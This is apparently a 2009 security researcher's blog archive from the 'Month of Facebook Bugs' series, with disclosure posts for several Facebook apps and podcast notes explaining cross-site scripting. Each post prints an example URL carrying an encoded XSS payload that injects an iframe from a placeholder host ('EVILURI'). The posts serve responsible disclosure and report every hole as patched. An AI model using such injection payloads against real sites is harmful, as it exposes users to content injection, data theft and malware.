FAXX Hack: YoVille

We’ve come to the end in the Month of Facebook Bugs – today’s post marks the last published FAXX Hack for September. The series began with a vulnerability in the no. 1 Facebook application, FarmVille from Zynga. Today we end with a very similar hole in another major Zynga application, discovered about two weeks ago.

I have much to cover in recapping this month, and it will likely take a few days to put everything together. I plan on posting a full report that includes statistics and more detailed explanations on how some of these hacks work. Also, as promised, I intend to post demonstration code showing how these holes can be exploited to access user information and spread virally, in addition to standard XSS issues, such as delivering malware.

Thanks for your interest in the Month of Facebook Bugs, and please stay tuned for the upcoming final report.

Facebook Verified Application

Current Monthly Active Users: 17,944,265

Current Rank on Application Leaderboard: 9

Application Developer: Zynga

Responsiveness: Zynga has been one of the most responsive developers I contacted. They replied back quickly and patched the hole soon after.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/yoville/index.php?type=%22%2F%253E%253Cfb%253Aiframe%2Bsrc%253D%2522%22%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F

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FAXX Hack: Hug Me

Current Monthly Active Users: 3,157,995

Current Rank on Application Leaderboard: 55

Application Developer: RockYou

Responsiveness: I notified RockYou and Facebook of this hole on Sep. 14th, and have reminded Facebook a few times since that it remains unpatched. I’ve received no communication from RockYou. Update: Facebook contacted me again this evening and said RockYou had deployed a patch, which I have confirmed.

Vulnerability Status: Unpatched Patched Sep. 30

Example URI: http://apps.facebook.com/doittome/refreshAd.php?guid=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E

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FAXX Hack: Dogbook

Current Monthly Active Users: 711,503

Current Rank on Application Leaderboard: 159

Application Developer: Poolhouse

Responsiveness: I received no communication from the developers, but Facebook did. The hole was patched about a week after notification.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/dogbook/search/?name=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Feviluri%2F%22%3E

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FAXX Hack: myFarm

(This counts as Sunday’s FAXX Hack.)

Current Monthly Active Users: 945,452

Current Rank on Application Leaderboard: 121

Application Developer: playSocial & take(5)social

Responsiveness: I received no communication from the developers, but Facebook did. The hole was patched about a week after notification.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/farmgame/post.pS?id=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Feviluri%2F%22%3E

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Social Media Security Podcast 2 – Month of Facebook Bugs, What is XSS, Canadian Privacy Ruling

skullThis is the second episode of the Social Media Security Podcast recorded September 25, 2009.  This episode was hosted by Scott Wright, Tom Eston and our new co-host Kevin Johnson.  Below are the show notes, links to articles and news mentioned in the podcast:

  • Introducing our new co-host, Kevin Johnson.  Kevin is a Senior Security Analyst for InGuardians and is also an instructor for the SANS Institute, teaching both SEC504: Hacker Techniques, Exploits, and Incident Handling and SEC542: Web App Penetration Testing and Ethical Hacking courses.
  • Tom talks about the Month of Facebook Bugs (created by a security researcher called “theharmonyguy”) why this is important and how many vulnerable applications have been exploited and fixed so far.  Here is the list of top Facebook applications that Tom mentioned in the podcast.
  • Kevin gives a great non-technical overview of a web application vulnerability called Cross-site Scripting (XSS). Many of the Facebook applications we found in the “month of Facebook bugs” were vulnerable to XSS.  Kevin describes what XSS is, how it works and how dangerous this vulnerability is to social networking applications like Facebook.
  • Scott talks about the recent ruling regarding the Canadian Federal Privacy Commissioner vs. Facebook.  This ruling in Canada has created wide reaching changes to privacy and the way applications function within Facebook.
  • Scott also included a brief interview with the Canadian Privacy Commissioner’s Office about this recent Facebook ruling.
  • Tom has updated his Facebook Privacy & Security Guide.  You can download the latest version here.

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast now in iTunes! Thanks for listening!

FAXX Hack: People I Love!

Current Monthly Active Users: 986,796

Current Rank on Application Leaderboard: 119

Application Developer: Chad Morovitz

Responsiveness: I received no communication from the developers, but Facebook did. The hole was patched about a week after notification.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/dd832a5e70919175222a209559b89f4b/browse.php?m=n%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Feviluri%2F%22%3E&p=1&process=1

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FAXX Hack: Photos I Love!

Current Monthly Active Users: 1,100,267

Current Rank on Application Leaderboard: 113

Application Developer: PhotosILove

Responsiveness: About a week after notification the hole remained live, but I checked back with Facebook and things got patched up.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/photosilove/browse.php?m=u&user=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Feviluri%2F%22%3E

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FAXX Hack: Death’s Time

Current Monthly Active Users: 11,802,383

Current Rank on Application Leaderboard: 16

Application Developer: 3happybytes

Responsiveness: I received no communication at first from the developers, but Facebook did. The hole was patched about a week after notification. After patching, the developer get in touch to confirm the fix.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/death-time/result.php?dia=1&anio=1991&mes=1%22%2F%3E%3C%2Fa%3E%3C%2Fp%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E

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